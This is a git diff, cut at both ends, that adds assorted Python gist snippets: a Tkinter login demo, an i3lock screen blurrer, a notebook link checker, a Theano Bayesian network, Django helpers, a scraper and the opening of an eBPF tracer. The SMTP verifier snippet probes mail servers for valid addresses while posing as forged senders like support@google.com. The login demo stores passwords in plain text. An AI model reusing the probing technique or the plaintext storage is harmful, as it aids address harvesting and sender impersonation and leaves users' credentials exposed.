+    signupButton.grid(columnspan=2, sticky=W)
+    roots.mainloop() # This just makes the window keep open, we will destroy it soon
+ 
+def FSSignup():
+    with open(creds, 'w') as f: # Creates a document using the variable we made at the top.
+        f.write(nameE.get()) # nameE is the variable we were storing the input to. Tkinter makes us use .get() to get the actual string.
+        f.write('\n') # Splits the line so both variables are on different lines.
+        f.write(pwordE.get()) # Same as nameE just with pword var
+        f.close() # Closes the file
+ 
+    roots.destroy() # This will destroy the signup window. :)
+    Login() # This will move us onto the login definition :D
+ 
+def Login():
+    global nameEL
+    global pwordEL # More globals :D
+    global rootA
+ 
+    rootA = Tk() # This now makes a new window.
+    rootA.title('Login') # This makes the window title 'login'
+ 
+    intruction = Label(rootA, text='Please Login\n') # More labels to tell us what they do
+    intruction.grid(sticky=E) # Blahdy Blah
+ 
+    nameL = Label(rootA, text='Username: ') # More labels
+    pwordL = Label(rootA, text='Password: ') # ^
+    nameL.grid(row=1, sticky=W)
+    pwordL.grid(row=2, sticky=W)
+ 
+    nameEL = Entry(rootA) # The entry input
+    pwordEL = Entry(rootA, show='*')
+    nameEL.grid(row=1, column=1)
+    pwordEL.grid(row=2, column=1)
+ 
+    loginB = Button(rootA, text='Login', command=CheckLogin) # This makes the login button, which will go to the CheckLogin def.
+    loginB.grid(columnspan=2, sticky=W)
+ 
+    rmuser = Button(rootA, text='Delete User', fg='red', command=DelUser) # This makes the deluser button. blah go to the deluser def.
+    rmuser.grid(columnspan=2, sticky=W)
+    rootA.mainloop()
+ 
+def CheckLogin():
+    with open(creds) as f:
+        data = f.readlines() # This takes the entire document we put the info into and puts it into the data variable
+        uname = data[0].rstrip() # Data[0], 0 is the first line, 1 is the second and so on.
+        pword = data[1].rstrip() # Using .rstrip() will remove the \n (new line) word from before when we input it
+ 
+    if nameEL.get() == uname and pwordEL.get() == pword: # Checks to see if you entered the correct data.
+        r = Tk() # Opens new window
+        r.title(':D')
+        r.geometry('150x50') # Makes the window a certain size
+        rlbl = Label(r, text='\n[+] Logged In') # "logged in" label
+        rlbl.pack() # Pack is like .grid(), just different
+        r.mainloop()
+    else:
+        r = Tk()
+        r.title('D:')
+        r.geometry('150x50')
+        rlbl = Label(r, text='\n[!] Invalid Login')
+        rlbl.pack()
+        r.mainloop()
+ 
+def DelUser():
+    os.remove(creds) # Removes the file
+    rootA.destroy() # Destroys the login window
+    Signup() # And goes back to the start!
+ 
+if os.path.isfile(creds):
+    Login()
+else: # This if else statement checks to see if the file exists. If it does it will go to Login, if not it will go to Signup :)
+    Signup()
\ No newline at end of file
diff --git a/hard-gists/c577716bd2f15b9ca330b15443e8bfbe/._snippet.py b/hard-gists/c577716bd2f15b9ca330b15443e8bfbe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c577716bd2f15b9ca330b15443e8bfbe/._snippet.py differ
diff --git a/hard-gists/c577716bd2f15b9ca330b15443e8bfbe/snippet.py b/hard-gists/c577716bd2f15b9ca330b15443e8bfbe/snippet.py
new file mode 100644
index 00000000..5bf7c8bb
--- /dev/null
+++ b/hard-gists/c577716bd2f15b9ca330b15443e8bfbe/snippet.py
@@ -0,0 +1,72 @@
+#!/usr/bin/python
+
+import os
+import xcb
+from xcb.xproto import *
+from PIL import Image, ImageFilter
+
+XCB_MAP_STATE_VIEWABLE = 2
+
+def screenshot():
+  os.system('import -window root /tmp/.i3lock.png')
+
+def xcb_fetch_windows():
+  """ Returns an array of rects of currently visible windows. """
+
+  x = xcb.connect()
+  root = x.get_setup().roots[0].root
+
+  rects = []
+
+  # iterate through top-level windows
+  for child in x.core.QueryTree(root).reply().children:
+    # make sure we only consider windows that are actually visible
+    attributes = x.core.GetWindowAttributes(child).reply()
+    if attributes.map_state != XCB_MAP_STATE_VIEWABLE:
+      continue
+
+    rects += [x.core.GetGeometry(child).reply()]
+
+  return rects
+
+def obscure_image(image):
+  """ Obscures the given image. """
+  image = image.filter(ImageFilter.GaussianBlur(4))
+
+  return image
+
+def obscure(rects):
+  """ Takes an array of rects to obscure from the screenshot. """
+  image = Image.open('/tmp/.i3lock.png')
+
+  for rect in rects:
+    if rect.x+rect.width < 1 or rect.y+rect.height < 1:
+        continue  
+    
+    area = (
+      rect.x, rect.y,
+      rect.x + rect.width,
+      rect.y + rect.height
+    )
+
+    cropped = image.crop(area)
+    cropped = obscure_image(cropped)
+    image.paste(cropped, area)
+
+  image.save('/tmp/.i3lock.png')
+
+def lock_screen():
+  os.system('i3lock -i /tmp/.i3lock.png')
+
+if __name__ == '__main__':
+  # 1: Take a screenshot.
+  screenshot()
+
+  # 2: Get the visible windows.
+  rects = xcb_fetch_windows()
+
+  # 3: Process the screenshot.
+  obscure(rects)
+
+  # 4: Lock the screen
+  lock_screen()
diff --git a/hard-gists/c591cab03c66780b18d5/._snippet.py b/hard-gists/c591cab03c66780b18d5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c591cab03c66780b18d5/._snippet.py differ
diff --git a/hard-gists/c591cab03c66780b18d5/snippet.py b/hard-gists/c591cab03c66780b18d5/snippet.py
new file mode 100644
index 00000000..7ee87afa
--- /dev/null
+++ b/hard-gists/c591cab03c66780b18d5/snippet.py
@@ -0,0 +1,165 @@
+#!/usr/bin/env python
+"""Check all figure links in an IPython notebook and try to copy missing ones.
+
+Note: this quick script is adapted to a fairly specific pattern of
+mine.  You should simply use it as a template and starting point for
+your own functionality.
+
+I keep a single large directory full of figures I reuse on all my
+talks, and I normally just symlink it from a new talk directory.  But
+this makes it harder to publish the talk sources in a self-contained
+way (without including my monster figure storage dir).  This script
+will find all missing image links, and then try to copy to the image
+tag 'src' attribute the figure, if a matching file is found in my
+figure storage directory.
+
+Many thanks to Brian Granger for the original NbConvertApp customization code
+and tips on BeautifulSoup.
+"""
+
+from __future__ import print_function
+
+# Storage area for missing figures
+FIGSTORE = '/home/fperez/talks/slides/fig'
+
+# Module imports
+
+import logging
+import os
+import shutil
+import sys
+
+from bs4 import BeautifulSoup
+import requests
+
+from IPython.config.loader import Config
+from IPython.config.application import catch_config_error
+from IPython.utils.traitlets import Unicode
+from IPython.nbconvert.nbconvertapp import NbConvertApp
+from IPython.nbconvert.nbconvertapp import nbconvert_aliases, nbconvert_flags
+from IPython.nbconvert.writers import WriterBase
+
+# Main code
+
+
+        
+class LinkCheckWriter(WriterBase):
+
+    def copy_image(self, src, dst):
+        """Copy src to dst, attempting to hard-link first. """
+        log = self.log
+        try:
+            os.link(src, dst)
+        except OSError:
+            try:
+                shutil.copy(src, dst)
+            except Exception:
+                log.error("Image copy failed: %s" % sys.exc_info()[0])
+        else:
+            log.warn("Successfully created missing image.")
+
+    def verify_images(self, soup):
+        """Verify all image references in a BeautifulSoup HTML object.
+
+        Parameters
+        ----------
+        soup : BeautifulSoup object built from an HTML source.
+        """
+        log = self.log
+        for i, img in enumerate(soup.find_all('img')): 
+            src = img.get('src')
+            if src.startswith('data:image'):
+                log.info('Image %s has embedded data.' % i)
+                return
+
+            if  os.path.exists(src):
+                log.info("Image #%s OK: %s" % (i, src))
+            else:
+                log.warn("Image #%s missing: %s" % (i, src))
+                fname = os.path.split(src)[-1]
+                target_source = os.path.join(FIGSTORE, fname)
+                if os.path.exists(target_source):
+                    log.warn('Available at: %s' % FIGSTORE)
+                    self.copy_image(target_source, src)
+
+    def verify_http_link(self, i, href):
+        log = self.log
+        try:
+            r = requests.get(href)
+        except requests.ConnectionError:
+            log.warn("Link #%s Conection Error: %s" % (i, href))
+        except:
+            log.error("Link #%s error: %s, %s" % (i, href,
+                                                  sys.exc_info[0]))
+        else:
+            stat = r.status_code
+            if stat == requests.codes.ok:
+                log.info("Link #%s OK (%s): %s " % (i, stat, href))
+            else:
+                log.warn("Link #%s problem (%s): %s " % (i, stat, href))
+                    
+    def verify_links(self, soup):
+        """Verify all links in a BeautifulSoup HTML object.
+
+        Parameters
+        ----------
+        soup : BeautifulSoup object built from an HTML source.
+        """
+        log = self.log
+        # Nothing implemented on links yet, just log them
+        for (i, lnk) in enumerate(soup.find_all('a')):
+            href = lnk.get('href')
+            if href is None:
+                log.warn("Malformed link: %s" % lnk)
+                continue
+            
+            if href.startswith('http'):
+                self.verify_http_link(i, href)
+            elif href.startswith('#'):
+                log.info("Internal anchor link: %s" % href)
+                continue
+            else:
+                if os.path.exists(href):
+                    log.info("Local valid link: %s" % href)
+                else:
+                    log.warn("Unkown link: %s" % href)
+    
+    def write(self, output, resources, **kw):
+        notebook_uri = resources['unique_key']
+        self.log.warn('-'*40)
+        self.log.warn('Checking notebook: %s' % notebook_uri)
+        soup = BeautifulSoup(output, "html.parser")
+        self.verify_links(soup)
+        self.verify_images(soup)
+
+
+class LinkCheckApp(NbConvertApp):
+    
+    name = Unicode(u'nblinkcheck')
+    description = Unicode(u'Check image links in a notebook.')
+    examples = """
+    To check all image links in all notebooks in the current directory:
+
+        ./nblinkcheck *ipynb
+    """
+
+    def _export_format_default(self):
+        return 'html'
+
+    def build_extra_config(self):
+        self.extra_config = Config()
+        self.extra_config.Exporter.preprocessors = [
+        ]
+        self.config.merge(self.extra_config)
+
+    @catch_config_error
+    def initialize(self, argv=None):
+        # Meant to be used as a command-line app, so only log at a higher level
+        self.log.level = logging.WARN
+        super(LinkCheckApp,self).initialize(argv)
+        self.build_extra_config()
+        self.writer = LinkCheckWriter(parent=self)
+
+        
+if __name__ == '__main__':
+    LinkCheckApp.launch_instance()
diff --git a/hard-gists/c5af642cf217971d93f499e8f70fcb72/._snippet.py b/hard-gists/c5af642cf217971d93f499e8f70fcb72/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c5af642cf217971d93f499e8f70fcb72/._snippet.py differ
diff --git a/hard-gists/c5af642cf217971d93f499e8f70fcb72/snippet.py b/hard-gists/c5af642cf217971d93f499e8f70fcb72/snippet.py
new file mode 100644
index 00000000..4f5e5d8a
--- /dev/null
+++ b/hard-gists/c5af642cf217971d93f499e8f70fcb72/snippet.py
@@ -0,0 +1,197 @@
+import theano
+import theano.tensor as T
+from theano.tensor.shared_randomstreams import RandomStreams
+from theano.sandbox.rng_mrg import MRG_RandomStreams
+from lasagne.updates import adam
+from lasagne.utils import collect_shared_vars
+
+from sklearn.datasets import fetch_mldata
+from sklearn.cross_validation import train_test_split
+from sklearn import preprocessing
+
+import numpy as np
+
+
+rnd = RandomStreams(seed=123)
+gpu_rnd = MRG_RandomStreams(seed=123)
+
+
+def nonlinearity(x):
+    return T.nnet.relu(x)
+
+
+def log_gaussian(x, mu, sigma):
+    return -0.5 * np.log(2 * np.pi) - T.log(T.abs_(sigma)) - (x - mu) ** 2 / (2 * sigma ** 2)
+
+
+def log_gaussian_logsigma(x, mu, logsigma):
+    return -0.5 * np.log(2 * np.pi) - logsigma / 2. - (x - mu) ** 2 / (2. * T.exp(logsigma))
+
+
+def _shared_dataset(data_xy, borrow=True):
+    data_x, data_y = data_xy
+    shared_x = theano.shared(np.asarray(data_x, dtype=theano.config.floatX), borrow=borrow)
+    shared_y = theano.shared(np.asarray(data_y, dtype=theano.config.floatX), borrow=borrow)
+    return shared_x, shared_y
+
+
+def init(shape):
+    return np.asarray(
+        np.random.normal(0, 0.05, size=shape),
+        dtype=theano.config.floatX
+    )
+
+
+def get_random(shape, avg, std):
+    return gpu_rnd.normal(shape, avg=avg, std=std)
+
+
+if __name__ == '__main__':
+    mnist = fetch_mldata('MNIST original')
+    # prepare data
+    N = 5000
+
+    data = np.float32(mnist.data[:]) / 255.
+    idx = np.random.choice(data.shape[0], N)
+    data = data[idx]
+    target = np.int32(mnist.target[idx]).reshape(N, 1)
+
+    train_idx, test_idx = train_test_split(np.array(range(N)), test_size=0.05)
+    train_data, test_data = data[train_idx], data[test_idx]
+    train_target, test_target = target[train_idx], target[test_idx]
+
+    train_target = np.float32(preprocessing.OneHotEncoder(sparse=False).fit_transform(train_target))
+
+    # inputs
+    x = T.matrix('x')
+    y = T.matrix('y')
+    n_input = train_data.shape[1]
+    M = train_data.shape[0]
+    sigma_prior = T.exp(-3)
+    n_samples = 3
+    learning_rate = 0.001
+    n_epochs = 100
+
+    # weights
+    # L1
+    n_hidden_1 = 200
+    W1_mu = theano.shared(value=init((n_input, n_hidden_1)))
+    W1_logsigma = theano.shared(value=init((n_input, n_hidden_1)))
+    b1_mu = theano.shared(value=init((n_hidden_1,)))
+    b1_logsigma = theano.shared(value=init((n_hidden_1,)))
+
+    # L2
+    n_hidden_2 = 200
+    W2_mu = theano.shared(value=init((n_hidden_1, n_hidden_2)))
+    W2_logsigma = theano.shared(value=init((n_hidden_1, n_hidden_2)))
+    b2_mu = theano.shared(value=init((n_hidden_2,)))
+    b2_logsigma = theano.shared(value=init((n_hidden_2,)))
+
+    # L3
+    n_output = 10
+    W3_mu = theano.shared(value=init((n_hidden_2, n_output)))
+    W3_logsigma = theano.shared(value=init((n_hidden_2, n_output)))
+    b3_mu = theano.shared(value=init((n_output,)))
+    b3_logsigma = theano.shared(value=init((n_output,)))
+
+    all_params = [
+        W1_mu, W1_logsigma, b1_mu, b1_logsigma,
+        W2_mu, W2_logsigma, b2_mu, b2_logsigma,
+        W3_mu, W3_logsigma, b3_mu, b3_logsigma
+    ]
+    all_params = collect_shared_vars(all_params)
+
+    # building the objective
+    # remember, we're evaluating by samples
+    log_pw, log_qw, log_likelihood = 0., 0., 0.
+
+    for _ in xrange(n_samples):
+
+        epsilon_w1 = get_random((n_input, n_hidden_1), avg=0., std=sigma_prior)
+        epsilon_b1 = get_random((n_hidden_1,), avg=0., std=sigma_prior)
+
+        W1 = W1_mu + T.log(1. + T.exp(W1_logsigma)) * epsilon_w1
+        b1 = b1_mu + T.log(1. + T.exp(b1_logsigma)) * epsilon_b1
+
+        epsilon_w2 = get_random((n_hidden_1, n_hidden_2), avg=0., std=sigma_prior)
+        epsilon_b2 = get_random((n_hidden_2,), avg=0., std=sigma_prior)
+
+        W2 = W2_mu + T.log(1. + T.exp(W2_logsigma)) * epsilon_w2
+        b2 = b2_mu + T.log(1. + T.exp(b2_logsigma)) * epsilon_b2
+
+        epsilon_w3 = get_random((n_hidden_2, n_output), avg=0., std=sigma_prior)
+        epsilon_b3 = get_random((n_output,), avg=0., std=sigma_prior)
+
+        W3 = W3_mu + T.log(1. + T.exp(W3_logsigma)) * epsilon_w3
+        b3 = b3_mu + T.log(1. + T.exp(b3_logsigma)) * epsilon_b3
+
+        a1 = nonlinearity(T.dot(x, W1) + b1)
+        a2 = nonlinearity(T.dot(a1, W2) + b2)
+        h = T.nnet.softmax(nonlinearity(T.dot(a2, W3) + b3))
+
+        sample_log_pw, sample_log_qw, sample_log_likelihood = 0., 0., 0.
+
+        for W, b, W_mu, W_logsigma, b_mu, b_logsigma in [(W1, b1, W1_mu, W1_logsigma, b1_mu, b1_logsigma),
+                                                         (W2, b2, W2_mu, W2_logsigma, b2_mu, b2_logsigma),
+                                                         (W3, b3, W3_mu, W3_logsigma, b3_mu, b3_logsigma)]:
+
+            # first weight prior
+            sample_log_pw += log_gaussian(W, 0., sigma_prior).sum()
+            sample_log_pw += log_gaussian(b, 0., sigma_prior).sum()
+
+            # then approximation
+            sample_log_qw += log_gaussian_logsigma(W, W_mu, W_logsigma * 2).sum()
+            sample_log_qw += log_gaussian_logsigma(b, b_mu, b_logsigma * 2).sum()
+
+        # then the likelihood
+        sample_log_likelihood = log_gaussian(y, h, sigma_prior).sum()
+
+        log_pw += sample_log_pw
+        log_qw += sample_log_qw
+        log_likelihood += sample_log_likelihood
+
+    log_qw /= n_samples
+    log_pw /= n_samples
+    log_likelihood /= n_samples
+
+    batch_size = 100
+    n_batches = M / float(batch_size)
+
+    objective = ((1. / n_batches) * (log_qw - log_pw) - log_likelihood).sum() / float(batch_size)
+
+    # updates
+
+    updates = adam(objective, all_params, learning_rate=learning_rate)
+
+    i = T.iscalar()
+
+    train_data = theano.shared(np.asarray(train_data, dtype=theano.config.floatX))
+    train_target = theano.shared(np.asarray(train_target, dtype=theano.config.floatX))
+
+    train_function = theano.function(
+        inputs=[i],
+        outputs=objective,
+        updates=updates,
+        givens={
+            x: train_data[i * batch_size: (i + 1) * batch_size],
+            y: train_target[i * batch_size: (i + 1) * batch_size]
+        }
+    )
+
+    a1_mu = nonlinearity(T.dot(x, W1_mu) + b1_mu)
+    a2_mu = nonlinearity(T.dot(a1_mu, W2_mu) + b2_mu)
+    h_mu = T.nnet.softmax(nonlinearity(T.dot(a2_mu, W3_mu) + b3_mu))
+
+    output_function = theano.function([x], T.argmax(h_mu, axis=1))
+
+    n_train_batches = int(train_data.get_value().shape[0] / float(batch_size))
+
+    # and finally, training loop
+    for e in xrange(n_epochs):
+        errs = []
+        for b in xrange(n_train_batches):
+            batch_err = train_function(b)
+            errs.append(batch_err)
+        out = output_function(test_data)
+        acc = np.count_nonzero(output_function(test_data) == np.int32(test_target.ravel())) / float(test_data.shape[0])
+        print 'epoch', e, 'cost', np.mean(errs), 'Accuracy', acc
diff --git a/hard-gists/c5afa16b07747b113808/._snippet.py b/hard-gists/c5afa16b07747b113808/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c5afa16b07747b113808/._snippet.py differ
diff --git a/hard-gists/c5afa16b07747b113808/snippet.py b/hard-gists/c5afa16b07747b113808/snippet.py
new file mode 100644
index 00000000..db04e9df
--- /dev/null
+++ b/hard-gists/c5afa16b07747b113808/snippet.py
@@ -0,0 +1,15 @@
+# https://stackoverflow.com/questions/25136282/what-is-the-right-way-to-extend-the-username-field-length-in-django-1-5
+
+from django.contrib.auth.forms import UserCreationForm
+from django.contrib.auth.models import AbstractUser
+
+
+class MyUser(AbstractUser):
+    pass
+
+USERNAME_LENGTH = 50
+MyUser._meta.get_field('username').max_length = USERNAME_LENGTH
+MyUser._meta.get_field('username').validators[0].limit_value = USERNAME_LENGTH
+MyUser._meta.get_field('username').validators[1].limit_value = USERNAME_LENGTH
+UserCreationForm.base_fields['username'].max_length = USERNAME_LENGTH
+UserCreationForm.base_fields['username'].validators[0].limit_value = USERNAME_LENGTH
\ No newline at end of file
diff --git a/hard-gists/c5ead2b72b2be03eb0ca/._snippet.py b/hard-gists/c5ead2b72b2be03eb0ca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c5ead2b72b2be03eb0ca/._snippet.py differ
diff --git a/hard-gists/c5ead2b72b2be03eb0ca/snippet.py b/hard-gists/c5ead2b72b2be03eb0ca/snippet.py
new file mode 100644
index 00000000..6fa3e615
--- /dev/null
+++ b/hard-gists/c5ead2b72b2be03eb0ca/snippet.py
@@ -0,0 +1,12 @@
+from rest_framework import permissions
+
+
+class IsOwner(permissions.BasePermission):
+    """
+    Custom permission to only allow owners of an object to edit it.
+    """
+    def has_permission(self, request, view):
+        return request.user and request.user.is_authenticated()
+
+    def has_object_permission(self, request, view, obj):
+        return obj.user == request.user
diff --git a/hard-gists/c613bd0fad5de00bab2e/._snippet.py b/hard-gists/c613bd0fad5de00bab2e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c613bd0fad5de00bab2e/._snippet.py differ
diff --git a/hard-gists/c613bd0fad5de00bab2e/snippet.py b/hard-gists/c613bd0fad5de00bab2e/snippet.py
new file mode 100644
index 00000000..21b8ea3c
--- /dev/null
+++ b/hard-gists/c613bd0fad5de00bab2e/snippet.py
@@ -0,0 +1,137 @@
+# -*- coding: utf-8 -*-
+
+"""
+Verify the given mail id is valid or not without sending mail. Verifying the email id directly from mail exchange server.
+"""
+
+import argparse
+import smtplib
+import dns.resolver
+import re
+import logging
+
+__author__ = 'arul'
+
+
+class MXEmailVerifier():
+    FROM_ADDRESSES = ["info@gmail.com", "contact@gmail.com", "contact@yahoo.com", "info@yahoo.com",
+                      "support@google.com"]
+
+    def __init__(self):
+        self.init_logging()
+
+    def init_logging(self):
+        """
+        Initialize the logs
+        """
+        global logger
+        logger = logging.getLogger('EmailVerifier')
+        logger.setLevel(logging.DEBUG)
+        # create console handler with a higher log level
+        console = logging.StreamHandler()
+        console.setLevel(logging.DEBUG)
+        # create formatter and add it to the handlers
+        formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+        console.setFormatter(formatter)
+        # add the handlers to logger
+        logger.addHandler(console)
+
+    def __parse__(self, _email_):
+        """
+        Parse and find the email id from the string using regex.
+        :param _email_:
+        :return:
+        """
+        p_email = re.findall(r"\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b", _email_, re.I)
+        if p_email and len(p_email) > 0:
+            return p_email[0]
+        else:
+            raise ValueError("Not a valid email id %s." % _email_)
+        return None
+
+    def __find_mx_host__(self, _email_):
+        """
+        It returns the mail exchange servers sorted by preference for the given mail id.
+        :param _email_:
+        :return:
+        """
+        _host_ = _email_.split("@")[1]
+        answers = dns.resolver.query(_host_, 'MX')
+        # Sorting based on the preference
+        answers = sorted(answers, key=lambda answer: answer.preference)
+        hosts = list()
+        for rdata in answers:
+            hosts.append(rdata.exchange.to_text())
+        if hosts and len(hosts) > 0:
+            return hosts
+        else:
+            raise ValueError("MX server for host '%s' not able to find." % _host_)
+        return None
+
+    def verify(self, _email_):
+        """
+        Verify the given email id is present in their mail exchange server.
+        :param _email_:
+        :return:
+        """
+        # parsing given input as email id
+        parsed_email_id = self.__parse__(_email_)
+        logger.info("Parsed Email id : %s" % parsed_email_id)
+
+        # Finding mail exchange server of the parsed mail id
+        _mx_hosts_ = self.__find_mx_host__(parsed_email_id)
+
+        for _mx_host_ in _mx_hosts_:
+            _mx_host_ = _mx_host_[:-1] if _mx_host_[-1] == "." else _mx_host_
+            logger.debug("MX host is %s " % _mx_host_)
+
+            # Login into the mail exchange server
+            try:
+                smtp = smtplib.SMTP()
+                smtp.connect(_mx_host_)
+            except smtplib.SMTPConnectError, e:
+                logger.error(e)
+                continue
+
+            try:
+                smtp.ehlo_or_helo_if_needed()
+            except Exception, e:
+                logger.error(e)
+                continue
+
+            # First Try to verify with VRFY
+            # 250 is success code. 400 or greater is error.
+            v_code, v_message = smtp.verify(_email_)
+            logger.debug("VERIFY %s, %r" % (v_code, v_message))
+            if v_code and v_code != 250:
+                for _from_ in self.FROM_ADDRESSES:
+                    f_code, f_message = smtp.mail(_from_)
+                    logger.debug("FROM %s, %r" % (f_code, f_message))
+                    # Then use RCPT to verify
+                    if f_code and f_code == 250:
+                        r_code, r_message = smtp.rcpt(_email_)
+                        logger.debug("RCPT %s, %r" % (r_code, r_message))
+                        if r_code and r_code == 250:
+                            return True, r_message
+                        if r_code and r_code == 550:
+                            return False, r_message
+                    else:
+                        continue
+            else:
+                return True, v_message
+            smtp.quit()
+            break
+        return None, None
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description="Verify the given mail id is valid or not.")
+    parser.add_argument("-e", "--email",  help='Enter the email id', required=True)
+    args = parser.parse_args()
+
+    verifier = MXEmailVerifier()
+    try:
+        verified, message = verifier.verify(args.email)
+        logger.info("%s, %s, %r" % (args.email, verified, message))
+    except Exception, e:
+        logger.error(e)
\ No newline at end of file
diff --git a/hard-gists/c648d753e7d0176ff172/._snippet.py b/hard-gists/c648d753e7d0176ff172/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c648d753e7d0176ff172/._snippet.py differ
diff --git a/hard-gists/c648d753e7d0176ff172/snippet.py b/hard-gists/c648d753e7d0176ff172/snippet.py
new file mode 100644
index 00000000..d52b12b0
--- /dev/null
+++ b/hard-gists/c648d753e7d0176ff172/snippet.py
@@ -0,0 +1,22 @@
+#The context of this program is a course of an hour to journalists who know nothing about programming in a lab with Python 3 only. 
+import urllib.request
+url = 'http://www.portaltransparencia.gov.br/copa2014/api/rest/empreendimento'
+resp = urllib.request.urlopen(url).read().decode('utf-8')
+total = 0
+j = 0
+and1 = '<andamento>'
+and2 = '</andamento>'
+abre = '<valorTotalPrevisto>'
+fecha = '</valorTotalPrevisto>'
+residuo = 0
+while True:
+  i1 = resp.find(and1, j)
+  if i1 == -1: break
+  i2 = resp.find(and2, i1)
+  obra_iniciada = not '<id>1</id>' in resp[i1:i2]
+  j = resp.find(abre, j)
+  k = resp.find(fecha, j)
+  print (resp[j+len(abre):k])
+  if obra_iniciada: total = total + float (resp[j+len(abre):k])
+  j = k + len(fecha)
+print ('R$ %.2f' %total)
diff --git a/hard-gists/c67039252268ec5e66ba/._snippet.py b/hard-gists/c67039252268ec5e66ba/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c67039252268ec5e66ba/._snippet.py differ
diff --git a/hard-gists/c67039252268ec5e66ba/snippet.py b/hard-gists/c67039252268ec5e66ba/snippet.py
new file mode 100644
index 00000000..986935e9
--- /dev/null
+++ b/hard-gists/c67039252268ec5e66ba/snippet.py
@@ -0,0 +1,327 @@
+#!/usr/bin/python
+#
+# chaintest   Summarize off-CPU time by kernel stack + 2 waker stacks
+#             WORK IN PROGRESS. For Linux, uses BCC, eBPF.
+#
+# USAGE: chaintest [-h] [-u] [-p PID] [-i INTERVAL] [-T] [duration]
+#
+# PLEASE DO NOT RUN THIS IN PRODUCTION! This is a work in progress, intended to
+# explore chain graphs on Linux, using eBPF capabilities from a particular
+# kernel version (4.3ish). This tool will eventually get much better.
+#
+# The current implementation uses an unrolled loop for x86_64, and was written
+# as a proof of concept. This implementation should be replaced in the future
+# with an appropriate bpf_ call, when available.
+#
+# Off-cpu stack currently limited to a stack trace depth of 18 (maxtdepth),
+# and waker stacks limited to 7. This is working around BPF_STACK_MAX (512).
+#
+# Copyright 2016 Brendan Gregg.
+# Licensed under the Apache License, Version 2.0 (the "License")
+#
+# 25-Jan-2016   Brendan Gregg   Created this.
+
+from __future__ import print_function
+from bcc import BPF
+from time import sleep
+import argparse
+import signal
+
+# arguments
+examples = """examples:
+    ./chaintest             # trace off-CPU + waker stack time until Ctrl-C
+    ./chaintest 5           # trace for 5 seconds only
+    ./chaintest -f 5        # 5 seconds, and output in folded format
+    ./chaintest -u          # don't include kernel threads (user only)
+    ./chaintest -p 185      # trace fo PID 185 only
+"""
+parser = argparse.ArgumentParser(
+    description="Summarize off-CPU time by kernel stack + 2 waker stacks",
+    formatter_class=argparse.RawDescriptionHelpFormatter,
+    epilog=examples)
+parser.add_argument("-u", "--useronly", action="store_true",
+    help="user threads only (no kernel threads)")
+parser.add_argument("-p", "--pid",
+    help="trace this PID only")
+parser.add_argument("-v", "--verbose", action="store_true",
+    help="show raw addresses")
+parser.add_argument("-f", "--folded", action="store_true",
+    help="output folded format")
+parser.add_argument("duration", nargs="?", default=99999999,
+    help="duration of trace, in seconds")
+args = parser.parse_args()
+folded = args.folded
+duration = int(args.duration)
+debug = 0
+maxwdepth = 7     # and MAXWDEPTH
+maxtdepth = 18    # and MAXTDEPTH
+if args.pid and args.useronly:
+    print("ERROR: use either -p or -u.")
+    exit()
+
+# signal handler
+def signal_ignore(signal, frame):
+    print()
+
+# define BPF program
+bpf_text = """
+#include <uapi/linux/ptrace.h>
+#include <linux/sched.h>
+
+// carefully work around MAX_BPF_STACK limit of 512:
+#define MAXWDEPTH	7
+#define MAXTDEPTH	18
+
+#define MINBLOCK_US	1
+
+struct key_t {
+    char waker0[TASK_COMM_LEN];
+    char waker1[TASK_COMM_LEN];
+    char target[TASK_COMM_LEN];
+    u64 wret0[MAXWDEPTH];
+    u64 wret1[MAXWDEPTH];
+    u64 tret[MAXTDEPTH];
+};
+BPF_HASH(counts, struct key_t);
+BPF_HASH(start, u32);
+struct wokeby_t {
+    char name0[TASK_COMM_LEN];
+    char name1[TASK_COMM_LEN];
+    u64 ret0[MAXWDEPTH];
+    u64 ret1[MAXWDEPTH];
+};
+BPF_HASH(wokeby, u32, struct wokeby_t);
+
+static u64 get_frame(u64 *bp) {
+    if (*bp) {
+        // The following stack walker is x86_64 specific
+        u64 ret = 0;
+        if (bpf_probe_read(&ret, sizeof(ret), (void *)(*bp+8)))
+            return 0;
+        if (bpf_probe_read(bp, sizeof(*bp), (void *)*bp))
+            *bp = 0;
+        if (ret < __START_KERNEL_map)
+            return 0;
+        return ret;
+    }
+    return 0;
+}
+
+int waker(struct pt_regs *ctx, struct task_struct *p) {
+    u32 mypid, pid = p->pid;
+
+    if (!(FILTER))
+        return 0;
+
+    u64 bp = 0;
+    struct wokeby_t woke = {}, *mywokep;
+    bpf_get_current_comm(&woke.name0, sizeof(woke.name0));
+    bp = ctx->bp;
+
+    // unrolled loop (MAXWDEPTH):
+    int depth = 0;    // clang nukes depth
+    if (!(woke.ret0[depth++] = get_frame(&bp))) goto out;
+    if (!(woke.ret0[depth++] = get_frame(&bp))) goto out;
+    if (!(woke.ret0[depth++] = get_frame(&bp))) goto out;
+    if (!(woke.ret0[depth++] = get_frame(&bp))) goto out;
+    if (!(woke.ret0[depth++] = get_frame(&bp))) goto out;
+    if (!(woke.ret0[depth++] = get_frame(&bp))) goto out;
+    woke.ret0[depth++] = get_frame(&bp);
+
+out:
+    mypid = bpf_get_current_pid_tgid();
+    mywokep = wokeby.lookup(&mypid);
+    if (mywokep) {
+        // copy waker stack and process name:
+        __builtin_memcpy(&woke.ret1, mywokep->ret0, sizeof(woke.ret1));
+        __builtin_memcpy(&woke.name1, mywokep->name0, TASK_COMM_LEN);
+
+        // XXX: can't delete yet
+        // wokeby.delete(&pid);
+    }
+
+    wokeby.update(&pid, &woke);
+    return 0;
+}
+
+int oncpu(struct pt_regs *ctx, struct task_struct *p) {
+    u32 pid;
+    u64 ts, *tsp;
+
+    // record previous thread sleep time
+    if (FILTER) {
+        pid = p->pid;
+        ts = bpf_ktime_get_ns();
+        start.update(&pid, &ts);
+    }
